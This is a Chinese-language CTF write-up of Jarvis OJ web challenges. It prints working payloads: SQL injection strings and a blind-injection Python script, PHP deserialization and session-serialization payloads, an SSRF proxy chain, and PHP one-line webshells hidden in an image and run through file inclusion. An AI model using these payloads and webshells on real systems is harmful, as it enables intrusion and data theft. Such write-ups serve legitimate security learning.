Jarivs Oj Web

前言

一个挺不错的ctf平台:https://www.jarvisoj.com/

Jarivs Oj Web

0X01 PORT51

1
题目链接:http://web.jarvisoj.com:32770/

image

这里说要用本地端口为51来访问题目,这里用到一个命令curl

1
curl –local-port http://web.jarvisoj.com:32770/

这里貌似题目服务器出了点问题,不弹出flag了,下面对curl做简单解释下。

1
linux curl是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称url为下载工具。
1
curl –local-port xxxxxxxx 强制使用本地端口访问xxxxx

0x02 LOCALHOST

1
题目入口:http://web.jarvisoj.com:32774/

image

意思是要从本地主机访问题目,抓包添加:

1
X-Forwarded-For: 127.0.0.1

image

0x03 Login

1
2
3
需要密码才能获得flag哦。

题目链接:http://web.jarvisoj.com:32772/

image

抓包后发现 response处有hint:

1
http://p1vrkwaxt.bkt.clouddn.com/@_5%28J%5BOA50CF%28C2@8I07DT1.png

百度后可知是md5加密的sql注入,具体解释我博客有:
https://ntwyc2018.github.io/2018/01/27/md5%E4%B9%8Bsql%E6%B3%A8%E5%85%A5/

输入ffifdyop得到flag

0x04 神盾局的秘密

1
2
3
这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?

题目入口:http://web.jarvisoj.com:32768/

点开图片后发现URL如下:

1
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw==

可以猜想是文件包含,后面是一串base64码,解码后是shield.png

原理:利用base64访问任意文件

访问showing.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

访问index.php

1
2
3
4
5
6
7
8
9
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

访问shield.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

代码审计

flag在pctf.php文件里面,我们利用shield.php里面的$file,来构造一个序列化值,$filename=pctf.php,到了index.php实例化后反序列化,$x=readfile()读取pctf.php

首先在本地phpstudy搭建环境,两个文件如下:

test.php

1
2
3
4
5
<?php
require_once('shield.php');
$x = new Shield();
echo serialize($x);
?>

shield.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Shield {
public $file;
function __construct($filename = 'pctf.php') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}

得到的序列值为:

1
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

最后构造payload如下:

1
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

0x05 IN a mess

1
2
3
连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。

题目入口:http://web.jarvisoj.com:32780/

查看源代码发现index.phps文件. 访问后源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}


?>

典型的php绕过

  • $data==”1112 is a nice lab!”
    原理 file_get_contents(“php://input”)
  • id=(字母)
    原理: php弱类型绕过
  • b=%00111111
    原理:eregi()可以用%00截断

最后的payload如下:
image
得到下一关的目录地址

1
Come ON!!! {/^HT2mCpcvOLf}

发现url:id=1再测试后是个sql注入

进行一波检验可知sql绕过两点

  • 空格绕过 可用/注释/绕过

    参考链接
  • 敏感字符的过滤 可用双写绕过

image

显示位为 3

image

爆出库名test

image

爆出表名content

image

爆出字段id,context,title

image

爆出字段内容(flag)

0x06 Chopper

1
2
3
4
5
小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗?

关卡入口:http://web.jarvisoj.com:32782/

题目来源:ISCC2016

一个很有学习价值的题目,这里猜测是用file_get_content编写

首先 本地phpstudy搭建三个php文件

1.php and 2.php如下:

1
2
3
<?php
echo file_get_contents("$_GET[a]");
?>

3.php代码如下:

1
2
3
<?php 
echo `$_GET[360]`;
?>

构造payload如下:

1
http://127.0.0.1/1.php?a=http://127.0.0.1/2.php?a=http://127.0.0.1/3.php?360=ping

image

同样地我也在本地测试了我的远程服务器上的一个文件,访问成功,这或许是一个姿势吧,据说叫啥url访问代理服务器,然后代理再访问另一个服务器

查看源代码有两个关键信息:

1
2
3
4
<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">


<!--<script>alert('admin ip is 103.27.76.153')</script>-->

上面很明显的是另外一个代理

直接访问admin ip被禁止,再结合img的url,可以猜想是通过proxy.php来访问admin ip再去访问admin目录,最后构造的payload如下:

1
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/

不知道为啥,这里仍然不行,貌似是服务器挂了或者被日了,这里结合别人的wp进行分析,接着发现robots.txt文件(可以直接扫出来),然后就是代码审计了

1
2
3
4
5
6
7
"没有什么防护是一个漏洞解决不了的,如果有,那
就.....
"

题目入口:http://web.jarvisoj.com:32785/

题目来源:ISCC2016

这道题是个文件上传+文件包含的题目

image

尝试构造后缀名为jpg的文件上传,仍然上传失败,可以确定这个不仅对后缀名进行检测,还对文件头检测

这里我们可以将一句话木马插入一个图片中,准备好两个文件如下:

1.php:

1
<?php eval($POST['c']); ?>

1.jpg(在网上找的图片)

在终端执行命令如下:

1
copy 1.jpg/b+1.php/a hack.jpg

会生成一个带有一句话木马的图片hack.jpg,查看hack.jpg文本,可以发现一句话木马

然后上传,发现上传成功

image

然后来到这个页面view

image

可以看到刚刚上传的图片,查看源代码可以看到该图片的路径

1
<img src="uploads/1527409880.jpg"/>

我们知道,带jpg格式的是无法执行php命令的,但我们可以利用这里的文件包含漏洞来执行里面木马命令

image

根据报错说多了一个.php,这里可以用%00截断,最后的payload为:

1
http://web.jarvisoj.com:32785/index.php?page=uploads/1527409880.jpg%00

结果返回 You should not do it

说明后台可能对后台中的<?php ?>进行了过滤,换个一句话为:

1
2
3
<script language="php">
eval($POST["c"]);
</script>

再重复以上操作,利用文件包含访问这个图片,得到flag

一个挺不错的姿势,继续进步继续加油

0x08 Simple Injection

1
2
3
4
5
很简单的注入,大家试试?

题目入口:http://web.jarvisoj.com:32787/

题目来源:ISCC2016

image

典型的SQL注入登录框

常见的登陆漏洞类型

同时验证用户名和密码

1
2
3
4
5
6
7
$sql = select * from users where username=$usernmae and password=$password
$result = mysql_query($sql);
if($result) {
echo "登陆成功";
} else {
echo "登陆失败";
}

分步验证用户名、密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$sql = "select password from users where username='$username'"
$result = mysql_query($sql);
if($result) {
$row = mysql_fetch_row($result);
$query_password = $row[$password];
#对输入的$password进行变形
$input_password = modify($passowrd);
if($input_password == $query_password) {
echo "登陆成功";
} else {
echo "密码错误";
}

} else {
echo "用户不存在";
}

这里经过不断测试可以知道是个分步验证用户名与密码

1
2
username=admin&password=1111 //返回密码错误
username=user&password=1111 //返回用户名错误

也就是说上面username注入语句正确的话会返回密码错误,反之返回用户名错误

1
username=user'/**/or/**/1=1#&password=123456

返回密码错误,说明sql注入语句是正确的,后台只过滤了空格,用/1/绕过即可,接下来就是简单的写脚本爆数据库名爆表爆字段爆字段内容了,下面给出脚本.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#-*- coding:utf-8 -*-
import requests

url = 'http://web.jarvisoj.com:32787/login.php'

def test(num,asc):
#data={'username':'admin\'/*1*/and/*1*/ascii(substr((select/*1*/group_concat(table_name)/*1*/from/*1*/information_schema.tables/*1*/where/*1*/table_schema=database()),%s,1))>%s#'%(num,asc),'password':'111'} # 数据库为injection
#data={'username':'admin\'/*1*/and/*1*/ascii(substr((select/*1*/group_concat(column_name)/*1*/from/*1*/information_schema.columns/*1*/where/*1*/table_name=\'admin\'),%s,1))>%s#'%(num,asc),'password':'111'}
data={'username':'admin\'/*1*/and/*1*/ascii(substr((select/*1*/group_concat(username)/*1*/from/*1*/injection.admin/*1*/where/*1*/table_schema=database()),%s,1))>%s#'%(num,asc),'password':'111'}
r = requests.post(url,data=data)

if '密码错误' in r.text:

return 1

else:

return 0

r = requests.post(url,data=data)
if '密码错误' in r.text:
return 1
else:
return 0

flag=''
for num in range(1,100):
for asc in range(1,255):
get = test(num,asc)
if get == 0:
flag += chr(asc)
print(flag)
break

得到的username为admin,得到的password是经过md5加密的,解密一下就好了,在登录框输入得到flag

0x09 api调用

1
2
3
请设法获得目标机器/home/ctf/flag.txt中的flag值。

题目入口:http://web.jarvisoj.com:9882/

查看源代码

image

据说是一种原理:xxe的漏洞

在JSON中玩转XXE攻击

image

Content-Type头被修改为application/xml,客户端会告诉服务器post过去的数据是XML格式的

这里比较简洁,是一个新姿势,稍后会博客写关于xxe漏洞的文章

0x10 PHPINFO

1
题目入口:http://web.jarvisoj.com:32784/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
1
ini_set('session.serialize_handler', 'php');

很明显的PHP Session 反序列化漏洞

根据代码的?phpinfo我们可以看到

image

  • 首先第一行的session.serialize_handler默认为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。

  • 第三行的ession.upload_progress.enabled为On
    image

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

但是,这时就有一个问题,在题目代码中,没有某个值是用来接受我们传入的数据,并储存到$_SESSION中的。

其实我们是有办法传入$_SESSION数据的,这里就利用到了|的反序列化问题

思路很明显了,我们需要构造一个上传和post同时进行的情况,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="sdas" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>

这些代码在本地搞,然后抓包,修改filename的值

1
2
3
__FILE__ :被称为PHP魔术常量,返回当前执行PHP脚本的完整路径和文件名,包含一个绝对路径

dirname(__FILE__) 函数返回的是脚本所在在的路径。

下面构造序列化值

1
2
3
4
5
6
7
8
9
10
11
<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)))';
}
$obj = new OowoO();
echo serialize($obj);
echo '<br>';
$a = '|O:5:"OowoO":1:{s:4:"mdzz";s:35:"print_r(scandir(dirname(__FILE__)))";}';
echo serialize($a);
?>

加上|,而且考虑到转义问题,最终的payload为:

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

image

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

这条可以爆出当前目录

最后通过file_get_contents()函数来读取文件

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag

文章目录
  1. 1. 前言
  2. 2. Jarivs Oj Web
  3. 3. 0X01 PORT51
  4. 4. 0x02 LOCALHOST
  5. 5. 0x03 Login
  6. 6. 0x04 神盾局的秘密
    1. 6.1. 原理:利用base64访问任意文件
    2. 6.2. 代码审计
    3. 6.3. test.php
    4. 6.4. shield.php
  7. 7. 0x05 IN a mess
  8. 8. 0x06 Chopper
  9. 9. 0x07 Easy Gallery
  10. 10. 0x08 Simple Injection
    1. 10.1. 常见的登陆漏洞类型
  11. 11. 0x09 api调用
  12. 12. 0x10 PHPINFO
,